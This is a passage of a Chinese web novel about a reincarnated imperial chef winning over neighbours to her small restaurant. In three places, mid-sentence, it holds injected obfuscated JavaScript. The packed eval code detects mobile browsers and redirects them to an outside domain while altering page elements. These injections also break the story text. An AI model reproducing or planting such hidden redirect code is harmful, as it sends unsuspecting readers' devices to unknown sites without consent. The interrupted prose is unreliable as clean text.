外皮像是软筋，带着筋道的拉扯感，中间夹着的脂肪滑润肥美，吸饱了酱汁，嚼着润口，却又不发腻，瘦肉部分肉丝紧实，每一口都有肉汁淡淡渗出，猪肉的精华香气也随之在口中晕染开。 “吃了这么多年的五花肉，我终于知道什么叫[肥而不腻、瘦而不柴]了。”苏慧茹激动感慨，再次夹松果肉入口，慢慢咀嚼，细细品味。 一块肉下肚，仿佛所有烦恼都消失不见了。 苏慧茹又将松果肉的汤汁淋在米饭上，舀了一大勺米饭入口。 深棕色的汤汁，融合了江云枫秘制酱料的咸香、小火慢煨出的肉香、还有微微融化在汤中的油脂，饱含诸多精华的汤汁，被米饭吸收。 每嚼一下，那鲜美醇厚的汤汁便会从米饭中溢出，让干燥的口腔被浸润。 “实在是太香了，今天中午吃到就是赚到了呀。”苏慧茹感慨着，肉块和鹌鹑蛋交替往口中塞，时不时舀几勺虾仁豆腐，“呼噜呼噜”吸入口中，清一清口。 江云枫正想打趣两句，手机消息提示音响了，而且“噔噔”、“噔噔”响了一串。 拿出手机，江云枫发现自己进了“溪云小区美食群”，一群人正吵得不可开交，而她很快在他们争吵的内容中捕捉到了“江家小酒馆”五个字。 往前翻看聊天记录，江云枫看到了李心怡的头像，她分享了炸鸡松和松果肉的图片，配了一大段话。 【你们知道江家小酒馆吗？今天去吃了两道菜，超级好吃！这个炸鸡松焦香嫩滑，松果肉肥而不腻，还有好几道菜没来得及尝，大家想吃饭都可以去江家小酒馆，没吃过绝对会后悔！】 后面还附带了江家小酒馆的定位，以及门头图片。 然而这样的推荐，并没有得到小区居民的认可，反而质疑声一片。 【AAA五金批发老王：你是说那个会在鸡蛋挂面里加紫薯的江家小酒馆吗？】 【我没有素质：放狗屁！我去店里吃过一次，人差点撅过去，再也不会去了。】 【知足常乐：江家小酒馆怎么可能好吃啊，你是不是老板，来打广告来了？】 【专业香菜代吃：图片是假的吧？这家店怎么可能有这么正常的饭菜。。。我反正是不信。】 江云枫挠挠头，思索了一会儿，开始用手写输入法输入文字。 7. 鲜虾豆腐、啤酒鸭 大梁没有拼音，江云枫只能用手写输入，写得慢慢的。还没写完，就看到有人帮她说话了。 【万家杂货铺：大家别这么着急下定论，江家小酒馆现在的水平今非昔比了！我吃过他们家的三杯鸡，那个鲜呐，一般的鸡肉真的做不到这个味道。】 江云枫通过头像，一眼认出了发消息的人是隔壁杂货店老板万弘顺，估计他也住这个小区，所以在群里。 群里的人半信半疑。 【专业香菜代吃：万老板，你被绑架了就眨眨眼。这些菜真的是那个姓江的老板做的？】 【AAA五金批发老王：之前老万你不还跟我说，要等江家小酒馆倒闭了，把隔壁租过来当仓库吗？】 【万家杂货铺：诶呀那都是老黄历了！我一开始也不相信能做这么好吃，现在一想起那个味道就馋。】 【我没有素质：一个多月前我还去吃过呢，怎么水平变化这么大？】 【披萨心肠：有可能是换老板了？】 【李心怡：没有换老板，就是江老板水平提高了很多，大家放心去吧，我在群里推荐过这么多次美食，什么时候让大家踩雷了？】 【知足常乐：确实没让大家踩雷过，难道这店真有点东西？】 【万家杂货铺：我用这么多年诚信经营的信誉做担保，江家小酒馆肯定好吃！大家放心去吧。】 【虾仁不眨眼：你们都这么说了，我有点好奇想试试了。】 曾经品尝自己厨艺的客人，愿意帮自己讲话，是一件很欣慰又很有成就感的事。 江云枫会心一笑，终于把一大段话写好，发送出去。 【大家好我是江云枫，江家小酒馆的老板。很感谢各位曾光顾的客人支持本店。只要找对方法，厨艺是可以提升的，口味如何还需要大家的检验。下面的七道菜是最近的新品，欢迎大家进店品尝。】 随后她附上了七道菜的名称和图片，还发了江家小酒馆的定位。 群里登时炸了锅。 【AAA五金批发老王：老板怎么也在群里啊，那我们的吐槽不都被看见了吗？】 【专业香菜代吃：这看着也太诱人了......】 【虾仁不眨眼：我去帮大家试试毒，有结果立刻跟大家反馈！】 【睡到人间煮饭时：支持虾仁！】 【众群友：+1】 【我没有素质：我也一起去，要是不好吃，我可不付钱！】 江云枫见群内争执告一段落，放下手机，静候“虾仁”和“没素质”前来品鉴，一抬头，看到万弘顺拄着拐杖进店了。 “小江，没想到你也在群里，你放心，之后有人说你做的菜不好吃，我还继续帮你战斗！”万弘顺说着，摘下为江家小酒馆“冲锋陷阵”而戴的老花镜，“我想来一份炸鸡松，一份鲜虾豆腐煲。” “好的，没问题。”江云枫觉得很有趣，毕竟万弘顺仅用了一天，就颠覆了自己的言论，完全站在了江家小酒馆的立场上。 她进厨房做菜，不久后端着美味佳肴，给万弘顺上菜，还顺带附赠了一些其他菜品给万弘顺试吃，当作是宣传的酬劳。 “谁在说你？”苏慧茹吃完最后一口，问江云枫。 江云枫把大致经过讲了一遍。 “你把我也拉群里，我帮你骂，不要小瞧了我的战斗力！”苏慧茹卷了卷袖子。 “没事了苏阿姨，等他们来吃吃看吧。”江云枫笑着拦她，“对了，咱们小区有没有类似的美食群啊？” “我待了这么多年，都没发现有什么美食群。”苏慧茹翻看着群聊列表，摇摇头，“哎，不过你可以自己建一个群啊。” “我自己建群？”江云枫在脑海中搜索着原主关于建群的记忆，“好主意，建一个江家小酒馆食客群，店内有菜品上新也可以及时通知你们。” “对呀！你先建群，我要第一个加入！”苏慧茹激动地站起来。 “我我我，我也要加！”万弘顺嘴里东西还没咽下去，像是小学生回答问题一样高举起左手。 江云枫建好了群，将两人加进来，又将李心怡也拉入群中，现在【江家小酒馆食客群】一共有四人了。 “溪云小区美食群”内有242人，江云枫思考着，计划一个月内让自家食客群扩展到同样的人数。 - 溪云小区美食群中，“虾仁不眨眼”的真名叫裴萌，“我没有素质”的真名叫陆思翰。 两人是同一栋楼的邻居，都是二十八九岁，比较熟，在群里聊完后，立刻约着来到了江家小酒馆。 苏慧茹和万弘顺吃完东西走后，没过一会儿，两人进了店，气势都跟普通食客不一样。 “两位群友来啦，快坐，看看吃点什么。”江云枫一眼认出了两人的身份，将泡好的一大壶大麦茶放在桌面上，一指墙上的菜谱。 陆思翰毫不客气地坐下：“老板，今天你做的菜要是还跟之前一样难吃，我们可不付钱。” “可以的。”江云枫点点头，“不过大概率不会出现这种情况。” “希望如此。”陆思翰拿起杯子，自顾自倒了两杯大麦茶，“我要一份啤酒鸭，一份鲜虾豆腐煲，一份米饭。” “我要一份蒸鸡松就好。”裴萌倒是笑容和善，做出“加油”的手势，“老板，我们可是听了万老板和李姐的话，才来这里的，你可不要让大家失望啊。” “交给我，不会失望的。”江云枫拍了拍胸口。 两人坐在大堂等待，江云枫在厨房里灵活地挥动着锅铲。 虾在锅中两面煎过，青灰色变成橙红色，团成一个球。 啤酒鸭的肥肉在锅中煸炒，肥肉逐渐融化成香喷喷的油。 一整块鸡皮，将鸡肉的香气，传递给炸好的鸡松和香菇片、火腿片上。 几种肉香，融合在一起，慢慢飘出厨房，萦绕在大厅，陆思翰和裴萌正在闲聊，闻到这股气息都停顿下来。 “闻着确实很不错啊。”裴萌短促地嗅着，像个小动物。 “吃着好吃才是真好吃。”陆思翰不屑一顾。 没过多久，三道菜上桌，看着格外丰盛。 “尝尝看，味道是不是如你们所想。”江云枫将筷子和勺子放在二人面前，坐在隔一条走道的桌边，抱着胳膊抿起微笑。 “这成色看着也不错。”裴萌看到三道菜眼前一亮。 啤酒鸭每一块上都裹了浓稠的酱汁，切碎的青红线椒圈散落其中，让整道菜很有活力。 茄红色的汤汁中，虾球各个饱满，嫩豆腐掺杂其中，金针菇软榻地皱成一团。 鸡松先炸后蒸，外层已经软塌了，不过整体带着湿漉漉的香气，很令人着迷。 “别看了，吃了才知道怎么样。”陆思翰这么说其实是为了掩盖自己已经馋了，夹起啤酒鸭凑到鼻尖闻了两下，就往嘴里送。 鸭肉比鸡肉更粗糙一些，正因如此也更有嚼劲，煸炒出油的鸭皮一点也不腻，一撕一扯，鸭香肥美入口。 加入其中的啤酒也是香型的，并不苦涩，只有股清冽的酒香，被鸭肉吸收之后，更解油腻。 这味道比陆思翰想象中好得太多，他本想着吃到怪味可以大骂一顿，就像他的网名一样“没素质”，可尝完之后说不出话了。 半晌，陆思翰尴尬地清清嗓子：“好吧，其实味道还行。” 裴萌则用筷子扎起蒸鸡松，横着一咬，整颗肉丸入口。 经过蒸制，鸡皮的精华香味融入鸡松，鸡松外层疏松而水分充足，每一口都是鸡汤的鲜味。 内里的鸡肉软弹，还带着几分油汁香气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793539|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 裴萌本以为这食材只有鸡肉，细细咀嚼，一些脆脆的颗粒破碎在后槽牙，浓郁的坚果香气随之弥漫。 “竟然加了......这应该是松子仁？”裴萌品味着。 “是的。”江云枫肯定着她的判断。 “加了松子仁，整个感觉都不一样了！”裴萌继续嚼着。 什么都不加，这就是普通的鸡肉丸，加了松子仁之后，口感层次丰富很多，一旦开始咀嚼就停不下来。 香菇鲜滑软嫩，火腿紧致，肉香十足，两者加上一味鸡汁的鲜嫩，口感别致。 另一边，陆思翰将一大块鸭肉和线椒圈放在米饭上，低下头将食物一同“呼噜呼噜”扒拉入口。 线椒圈微辣，脆脆的，带着椒香，鸭肉大块且肥美鲜香，与米饭同嚼，让人幸福感满满。 “咳咳。”陆思翰咽得太快，呛到了，赶紧喝两口大麦茶润润嗓子。 这茶水也格外清新，顺着喉咙温温热热流下，按灭了想要咳嗽的躁动。 啤酒鸭味道确实不错，这让陆思翰很沉默，又舀了一勺鲜虾豆腐煲。 一整勺送入嘴巴，豆腐一吸就破碎了，豆制品清香和汤汁的鲜甜浸润了口腔，嚼一嚼，虾肉弹弹的，既有被热油翻炒过的焦香，又有汤汁炖煮过的汁水丰厚。 那汤汁是番茄味的，咸香浓郁，且微微泛着甜味，陆思翰不敢想用这汤汁泡米饭该多好吃。 不过很快，他的手就先他一步，将米饭泡进了鲜虾豆腐煲中。 搅一搅，米饭被汤汁泡透了，和碎豆腐搅拌在了一起，舀起吃下，番茄的甜、虾的鲜、豆腐的清香，全部收入口中。 还有那嚼起来“嚓嚓”作响的金针菇，更是让味蕾得到了满足。 陆思翰和裴萌两人，刚来店时还比较矜持，现在一口接着一口吃，有着狼吞虎咽的架势。 当碗盘都空的时候，江云枫随意地拨弄着枫叶耳钉，泛起一个笑：“两位品鉴员，你们觉得味道怎么样啊？” 裴萌本就没带着立场来店里，此时脱口而出：“万老板和李姐的品味果然没错！老板你做菜太好吃了！这道菜可以算是我的年度第一美食了！” 陆思翰带着疯狂吐槽的心来，却又被这美味完全折服，挠头挠了半天：“好吧，我之前话说早了，这两道菜都是数一数二大饭店的水平，这次吃饭也让我对你们店的印象大改观。” “那两位帮我在美食群里宣传宣传？”江云枫听到了意料之中的评价，很满意。 “没问题呀！”裴萌拿出手机就开始打字。 “行，我也让兄弟们来吃。”陆思翰拍了菜谱的照片，又拍了几张店内环境。 【我没有素质：好吧，这次真的被江老板做的饭菜折服了，每道菜都香得不行，兄弟们可以冲！【图片】【图片】【图片】】 【虾仁不眨眼：确实很好吃！！每吃一口都感觉灵魂升华了一次！吃到就是赚到啊！】 群内气氛再次热烈起来。 【AAA五金批发老王：连骂人名嘴都说好吃了，看来确实可以冲！】 【专业香菜代吃：这下放心了，等我过两天去享受美味~】 【睡到人间煮饭时：多亏两位试毒啊哈哈哈，才让一个好饭馆没有被埋没。】 江云枫看到美食群里和谐一片，笑着看两人：“有没有兴趣加入我们店自己的群？以后上新品了，会第一时间在群里通知。” “可以。” “要！” 陆思翰进群后，把自己名字改成了“我有了素质”。 江云枫将两人拉进群后，他们还将美食群几个想要来尝饭菜的人也拉近了群，【江家小酒馆食客群】人数到达两位数。 “不过，我对你们店还有点意见。”陆思翰认真道。 8. 桂花饮、鳜鱼羹 “请讲。”江云枫点头，认真听着。 “就是这个饮品的种类有点少，要是能更丰富一些就好了。”陆思翰举例道，“比如加上可乐、奶茶、啤酒什么的。” “目前店铺刚恢复营业，所以饮品不多。你的意见很好，我会认真考虑的。”江云枫点头肯定道。 两人走后，江云枫开始研究饮品。 按照陆思翰给的思路，江云枫来到超市，买了几种饮料尝。 经过一番品尝，江云枫只买了一些可乐，以及做啤酒鸭时用到过的清香型啤酒。 选可乐是因为口感很新奇，含一口在嘴里，感觉有很多小颗粒在打她的舌头，让她吓了一跳，但又甜甜的很好喝。 至于奶茶，江云枫的评价不高，做了十几年御厨，她的味觉非常敏感，大概尝出了奶茶的成分。 但是瓶装的奶茶香精色素太多，喝着很难受，她决定回店自己煮。 除此之外，江云枫准备推出一款大梁朝很受欢迎的桂花饮，买了材料，回店就开始制作。 这一味饮品需要用到洛神花、桑葚和桂皮，水温的掌握是关键，江云枫将水烧开，再稍微降温，对其进行冲泡。 热水浸泡洛神花和桑葚，一抹酒红色丝丝缕缕融入水中，桂皮更添香味。 江云枫又取来一个陶瓷小碟放在火上，铺满桂花，加少许水，在其上倒扣一个杯子。 桂花香气被蒸至杯中，酒红色的汤汁倒入其中，星星点点的桂花撒上，添一抹金黄，桂花饮就做好了。 江云枫端起杯子，刚凑近嘴巴，桂花馥郁的香气就萦绕鼻尖，浅尝一口，是带着花香的酸甜口，温温热热入喉，清润解渴。 “之后就按这个比例冲泡，味道刚刚好。”江云枫很满意。 奶茶也并不难煮，用鲜牛奶加茶叶，小火慢熬，棕色的茶水融入白皙的牛奶，变成好看的浅棕色。 江云枫又将红糖末、枸杞、红枣碎倒入水中，熬成胶质状，过滤出枣红色的糖汁，加入奶茶中，既让口味清新甜蜜，又能补气暖胃。 做好这些，江云枫在大堂的黑板上加上了饮品价格，可乐、啤酒按照市场价稍贵一两块，奶茶和桂花饮都是15元一小壶。 厨房中弥漫着甜丝丝的香气，江云枫正在厨房陶醉地吸气，忽然听到大堂有人叫“老板”。 转头一看，是一张熟面孔。 “你是，那天给我打印宣传单的人？”江云枫认出了章岩。 “对！”章岩扶了扶眼镜，憨厚一笑，“自打看到菜品的图片，我就很想来尝尝，现在能做菜吗？” “能！菜品还是宣传单上的那些，饮品增加了很多，可乐、啤酒、奶茶、桂花饮都有。”江云枫介绍道。 “我想尝尝这个鳜鱼羹，看着就很不一般。”章岩指着鳜鱼羹的图片，“喝的么......本来想喝奶茶的，但这个桂花饮听着更特别一些，就要这个吧。” “好的，桂花饮在这边，鳜鱼羹稍等就上菜。”江云枫倒了一杯桂花饮，又将装桂花饮的小壶放在他面前，走向厨房。 那小壶是锤纹玻璃的，为酒红色的茶饮添上一层朦胧滤镜。 章岩好奇地捧起桂花饮，湿漉漉的甜香率先触动感官，他从未闻到过如此自然又浓郁的桂花香。 小啜一口，花果清新的味道涌入口腔，微微的酸味恰好开胃。 “咕嘟咕嘟”痛饮几口，章岩感觉四肢百骸都像是泡在温水里一样舒畅。 做这道鱼羹，用到的是新鲜的鳜鱼，江云枫买来的鳜鱼一直养在水池中，此刻捞出，还活蹦乱跳。 江云枫非常人道，用刀背将鱼拍昏后才宰杀，快速将鱼鳞和内脏去除，几分钟的时间，鲜活的鱼就变成了细细长长的雪白鱼肉丝。 炖煮得香香浓浓的鸡汤，本就足够勾人，鱼肉裹了生粉和蛋清，放入其中，慢慢浸入鸡汤香味。 再加上香菇丝、火腿丝、木耳丝、葱丝，诸多食材融合成层次丰富的鱼肉羹，端上了章岩的餐桌。 “坐在外面就能闻到香味了，边闻边等真煎熬。”章岩笑着吐槽。 “那就赶紧享用吧。”江云枫将筷子和勺子一同放在他面前。 “好嘞。” 鱼肉丝雪白，木耳丝与香菇丝黝黑，再加上火腿的一抹红，葱丝的几分绿，整道鱼羹色泽丰富，勾人食欲。 章岩用勺子搅了搅鱼汤，热气翻滚上来，香味伴着水汽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793540|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扑在鼻子上。 他低头喝了口汤，那慢熬的鸡汤格外鲜美，让所有的味蕾都为之雀跃，一些香菇丝也随之入口，嚼一嚼，嫩滑鲜香。 “哇，真鲜......”章岩“呼呼”吹着有些热的汤，又贴着碗边喝了几口。 咸香味道在口中打了个底，章岩又用勺子捞起鱼肉，轻轻一抿，嫩滑的鱼肉破碎成肉丝，鲜嫩的肉质融入鸡汤的香味，在舌尖鲜爽无比。 用筷子捞起菜丝，嚼起来是很有层次感的味道。 火腿丝软糯咸香，葱丝嚓嚓脆，木耳丝嫩嫩滑滑，不断刺激着味蕾，让他口水津津。 “你这手艺是从哪里学的，好厉害啊，我之前都没吃到过这么香的鱼羹。”章岩对江云枫赞叹道。 “很早之前跟着祖母学的。”江云枫眼前浮现出祖母干练的样子，然而那都是很多年以前了，她有点怀念。 “世代传承的手艺，怪不得味道这么好。”章岩说着，还不忘一边喝汤，一边慢慢品味。 喝了一半，章岩才想起来旁边放着米饭，赶紧将米饭悉数倒入鱼羹中。 搅拌几下，汤汁几乎都被米饭吸收了。 舀起一口，鸡汤和鱼肉香味的精华，都锁在了米饭里，鲜香伴着米香咀嚼，既有口感上的享受，又有饱腹感，每一口都让他沉醉。 汤面慢慢下降，很快就见了碗底。 章岩连碗壁上贴着的各种菜丝都不放过，用筷子扒拉在一起，一口吃下，意犹未尽地擦着嘴。 “好享受的一顿饭啊......”章岩又倒了杯桂花饮。 酒红色的桂花饮，看着就醉人，点点桂花撒在上面，氛围感很强。 洛神花的微酸，桑葚的果味，桂皮的木制香，在舌尖泛起幽幽香气。 尤其是那一抹桂花的甜香，既萦绕鼻尖，又激发味觉。 章岩眯起眼睛，胃中是鳜鱼羹的温热，口中是桂花饮的香气，他一瞬间分不清自己是在现代，还是古代倚坐树下，慢慢喝茶的闲人了。 “江老板，你是不是古代人啊？” 章岩这话一出，让江云枫愣了几秒，嘴唇翁动却又不知道该如何作答。 难道他看出来了？ 9. 鳜鱼羹、红糖奶茶 “我......我不是啊，我怎么会是呢？”江云枫强装镇定，摸不清章岩什么路数。 “我是想说，你做的菜和取的菜名里，有几个很有古风感，所以开个玩笑说你是古代人，你怎么这么紧张哈哈哈哈哈！”章岩哈哈大笑。 江云枫见他确实没别的意思，放下心来，狡黠一笑：“我刚才在演古代人被发现的紧张样子。” “演得很像。”章岩哈哈笑着，又认真道，“对了老板，你以后准备把饭馆做成古风感的吗？” “是在往这个方向发展，不过现在刚起步，资金比较有限，只够做菜，不够改善环境的，要不然店内布置肯定更有古风感觉。” 江云枫扫视着整个店面，能改进的地方很多。 有点残破的桌椅，可以换成实木雕花的，地板也可以换成木质，整个大堂都会更有质感。 玻璃门可以换成带花格窗的木门，墙角也可用高凳放几盆花，这样清晨与黄昏之时，金色的阳光会将窗格和花影映在白墙上。 墙上挂几幅没骨画，屋前屋后栽几棵生机勃勃的竹...... 就好像上辈子，大梁朝的江家小酒馆一样。 江云枫打算在手里有余钱时，将这些一一实现。 “我有个朋友是做古风室内设计的，对美食也很感兴趣，我把你家店推荐给她，到时候你有室内设计的需求，也可以找她。” 章岩说着，劈里啪啦打字发消息，又对着放了插花的桌面、黑板上用精致小楷写的菜名拍了照，一同发给自己朋友。 “好嘞，感谢推荐！”江云枫又亮出【江家小酒馆食客群】，“要不要加一下我们店的食客群，有新菜品会在群里更新。” “立马加了！期待你们家菜品更新！”章岩扫码加入，又把朋友拉进了群。 - 何诗依作为高二走读生，每天放学之后都会到处寻觅美食。 中午在“溪云小区美食群”里看到江家小酒馆的宣传，又看到有人去吃过之后，反馈很不错，于是晚上六点多放学之后，就按照群里发的定位，朝江家小酒馆走。 她原本以为江家小酒馆在什么明亮的街边，没想到拐进了很偏僻的小巷里。 要不是天还没黑，她都有点不敢继续往前走了。 “是这里吗？”何诗依犹豫着向前，看到江家小酒馆的门头，以及店内坐着三四个食客，才终于放下心来，进了店。 “妹妹，你看吃点什么。”江云枫收拾着客人吃完的碗盘，冲何诗依打招呼。 江云枫在何诗依眼中，有种道不明的亲和力，大概是笑时泛起的梨涡很好看，几缕碎发在鬓边，随着她的动作轻轻浮动，非常干练。 何诗依本来有点社恐，被叫了声“妹妹”后，突然觉得放松下来。 “我要一份鳜鱼羹，主食要馒头，再来一份热奶茶。”何诗依将书包放在旁边座位上，瞧着黑板上的菜名，有几道很有古韵，写菜名的字体也非常好看，“这小楷字写得真好看。” “是吧，专门找了教书法的师傅，苦练了好久的成果。”江云枫卷起袖子，假装握毛笔书写的样子，把何诗依逗笑了。 “你先坐一下，饭菜马上好。”江云枫也回了个微笑，将碗盘收进洗手池，开始做菜。 在这微凉的秋夜，现煮奶茶很受欢迎，江云枫煮了一大锅，这会儿正在锅中咕咕嘟嘟冒着泡。 江云枫盛了一壶奶茶，同杯子一起端给何诗依，又忙碌着切鱼肉、裹生粉、煮鱼羹，没过多久，鳜鱼羹也上桌了。 由于何诗依点了馒头，江云枫还准备了一条热的湿毛巾供她擦干净手。 “学习一天了，好好犒劳犒劳自己。慢用，我先去刷碗了。” 何诗依听到这话笑了，心里暖暖的，她今天确实需要犒劳犒劳自己了，今天写的模拟卷错了好多题，而且生理期肚子疼，一整天心情都不是特别好。 那奶茶盛在锤纹壶里，是朦朦胧胧的浅棕色，壶口出散发出一阵甜香。 她倒了一杯奶茶，小抿一口。 不像是街边奶茶充满糖精味道，也不像普通饭店里兑水稀释过的奶茶味道。 这奶茶的口感，聚合了茶的醇香与微苦，以及牛奶的鲜滑，同时还有一股很自然的甜味，很明显有红糖的甜。 还有一些特别的甜味，何诗依说不出是什么，只觉得好喝，入口清冽，“咕嘟咕嘟”咽下几口，胃里暖暖的，肚子都没那么疼了。 “真好喝。”何诗依考虑着要是喝不完，临走时装在保温杯里带回家喝。 有了奶茶润喉，味蕾彻底打开，何诗依将一勺汤送入口中。 醇厚的鸡汤香味率先入口，鲜爽味道让舌尖都打颤。 何诗依经常去小店吃饭，其他店的鸡汤很多都是鸡精勾兑出来的，味道很塑料，可这边的汤汁却是实打实用老母鸡慢炖出来的，鲜得很。 “竟然用鸡汤煮鱼羹？”何诗依觉得很新奇，将鱼肉混合了菜丝一起入口。 由于裹了蛋清和生粉，鱼肉更加嫩滑，腌制入味得当，丝丝嫩肉咸得恰到好处。 原本只有一味鱼肉香会很寡淡，但与各种菜丝味道相结合，口感既清淡、不油腻，又让味蕾得到了满足。 香菇丝和木耳丝爽滑，菌菇香气在鸡汤中升华，火腿丝的咸与猪肉香气伴随咀嚼绽放，小葱丝则增加了清爽的菜香。 由于没有鱼刺，可以放心地将鱼羹一勺又一勺地喝下肚，何诗依从口腔，到喉咙，再到胃，都是温暖的，呼出一口香香的热气，总觉得什么烦恼都没有了。 “真幸福啊。” 何诗依感叹着鱼羹消除了学习一天的疲惫，用热毛巾擦了手，将馒头掰成小块泡进鳜鱼羹里。 汤汁勾芡过，非常浓稠，馒头落进汤里，整个汤面都震荡了一下。 吸饱汤汁的馒头块膨胀了一圈，比之前重很多，何诗依嘴巴贴着碗边，将馒头块送入口中。 筋道的馒头掺杂了鸡汤和鱼肉的鲜美，在面的清香中，加了浓厚的醇香，再加上各种肉丝与菜丝同嚼，无比享受。 何诗依一口接一口地吃着，时不时喝几口奶茶，不仅生理期肚子疼被暖得消失了，学习一天的高中牲疲惫感也一扫而空。 在快吃完之前，何诗依突然想起要拍个照，拍完后点开了社交帐号。 “同桌，过几天中午来这家店吃饭吗？这家店的鳜鱼羹超级好吃，奶茶也特别好喝，是别的店都没有的味道！” “看着还不错，什么店呀？”对面回复。 “江家小酒馆，我给你发位置。”何诗依发了定位。 “这地方......看着好偏僻啊，你确定真的好吃？”对面回复。 “我确定！环境也很优雅，不信来试试！”何诗依又录了一下环境。 “行啊，等这两天模拟考结束了，我们来这里庆祝一下。” 鱼羹喝完，何诗依又用筷子夹着最后一块馒头，将碗底的汤汁擦干净，吃完馒头，圆满结束！ 见何诗依吃完了，江云枫拿着打印出来的群二维码：“这边有我们店的食客群，感兴趣可以加一下，推出新菜会发到群里的。” “好嘞。”何诗依举起手机，扫码加群，之前她其实很讨厌让她加群的人，可江云枫给人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793541|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的感觉不讨厌，她很自愿地进了群。 - 一天的营业结束，江云枫卖出的饭菜远超5份，接下来的两天，每天也至少卖出去8份饭菜。 江云枫算了一下，按照这个进度，营业的第7天就能攒够要交的房租。 江家小酒馆美食群内也有了50多个人，不过建群的这几天，群内成员不熟，也就进群自我介绍一下，没什么话题聊。 想了想，让群成员活跃起来，还是要不断上新菜品。 店内的食材基本用光，江云枫准备去农贸市场进货一些食材，同时也看看有哪些新食材可以用来做新品。 上午在店内打扫一番后，江云枫关上店门，在卷闸门上贴了“有事暂停营业，中午11点回”的纸条，正准备离开，被万弘顺叫住。 “小江，你平时上午不都在店里吗？今天去哪里？”万弘顺躺在躺椅上，打招呼道。 “备菜没有了，我去农贸市场买些，再准备下新菜品。”江云枫拿出本子上列好的清单，浏览了一遍。 万弘顺一听有新菜品，眼睛都亮了，从躺椅上鲤鱼打挺坐起来：“有新菜品！让磊子开车跟你去吧，顺便帮忙运一下菜。” 万磊一愣，反应过来点点头：“对，上次见你提那么多菜，也不好拿，我这塞后备箱里直接带过来了。” 江云枫想了想，以前在大梁，有专人给他们店送刚采摘的菜、现杀的鸡鸭鱼猪，她没怎么大量搬运过菜品。 前几天她两手拎着塑料袋回店，袋子里分别是15瓶可乐和10瓶啤酒，塑料袋把手都勒红了，人也累得不行，才觉得确实需要人帮忙。 “可以呀，那付你多少车费呢？”江云枫向来讲究礼尚往来。 “不用付，让我免费吃顿新品就可以。”万磊连连摆手。 “你小子还挺会想。”万弘顺哈哈大笑。 “可以，那回来就请您二位免费吃新品。”江云枫应下来。 “没问题！” 江云枫坐着万磊的车来到了农贸市场，她有点晕车，不过好在农贸市场离得不远。 因为要停车，这次从农贸市场没走过的门进入。 没走过几个摊位，江云枫在“鲁家猪肉铺”瞧见一个熟悉的身影。 以前原主经营饭馆时，经常来“鲁家猪肉铺”买肉，前几天江云枫来原摊位没看到这家铺子，这会儿才发现是换了位置。 店主鲁志元是个胡子拉碴的大叔，看到江云枫一愣，随后脸上堆满微笑，打起招呼：“好久没见到你来了，饭馆还开着吗？” “还开着呢，现在越来越好了。”想起每天都在增加的食客人数，江云枫心里很有成就感。 “还开着呢？！”鲁志元很是意外，他之前吃过一次，就觉得江家小酒馆很快就会倒闭，“真不容易。” “下次有空来我们店吃饭啊，保证好吃。”江云枫自信地点点头，枫叶耳钉左摇右晃。 鲁志元“嗯哈哈”地含糊应着，并不打算再感受一下舌尖之苦了，岔开话题道：“今天要点什么肉啊？” 面前各种类别的猪肉都很新鲜，江云枫要了一些排骨、梅花肉，还有铺子上做好挂起来的腊肠，每个装袋时，江云枫都在手里掂了掂。 几十年的御厨生涯，不仅让她对食材的新鲜度很敏感，对食材重量的感受也很精确，掂了几下，她大概知道每种肉几斤几两了。 “腊肠五斤六两，排骨十斤四两，梅花肉......”鲁志元将江云枫挑好的肉一一过秤。 “等一下。”江云枫听完每种肉的重量，摇摇头，“这几种肉的分量都不对。” 10. 板栗腊味焖饭 “分量不对？”万磊一怔。 万磊没什么买菜经验，完全没注意鲁志元这边的动作，江云枫这么一说，他以为是鲁志元少切了肉，或者是在秤上做了手脚。 “老板你怎么......”万磊非常信任江云枫的判断，愠怒刚起，就被她接下来的话止住。 “你给我的肉多了，但是分量报少了，排骨少报四两，梅花肉少报二两，腊肠少报三两......”江云枫指着面前的肉一一讲道。 “报少了......那不是相当于白送你好多肉吗？”万磊没明白是怎么回事。 “你父母在我家肉铺买过很多年肉，现在你做菜......咳咳......你们家店估计也不太能经营下去......我就想着送你点肉，帮衬一下。”鲁志元一个胡子拉碴的大汉，被戳穿后还有点扭捏。 他怕自己同情江云枫而做的举动，伤到她的自尊心。 “老板你怎么......人这么好啊......”万磊态度一百八十度大转弯，接着刚才的话说。 鲁志元摆摆手示意没什么，不过他有些奇怪：“就这么几两的差距，你是怎么看出来的？” “我掂了掂，感觉出来的。”这么多年各种肉类过手，江云枫对食材重量的判断误差可以精确到一两之内。 “这么厉害？就算我这种卖了很多年猪肉的，也做不到这么准确。”鲁志元看向江云枫的目光都不一样了。 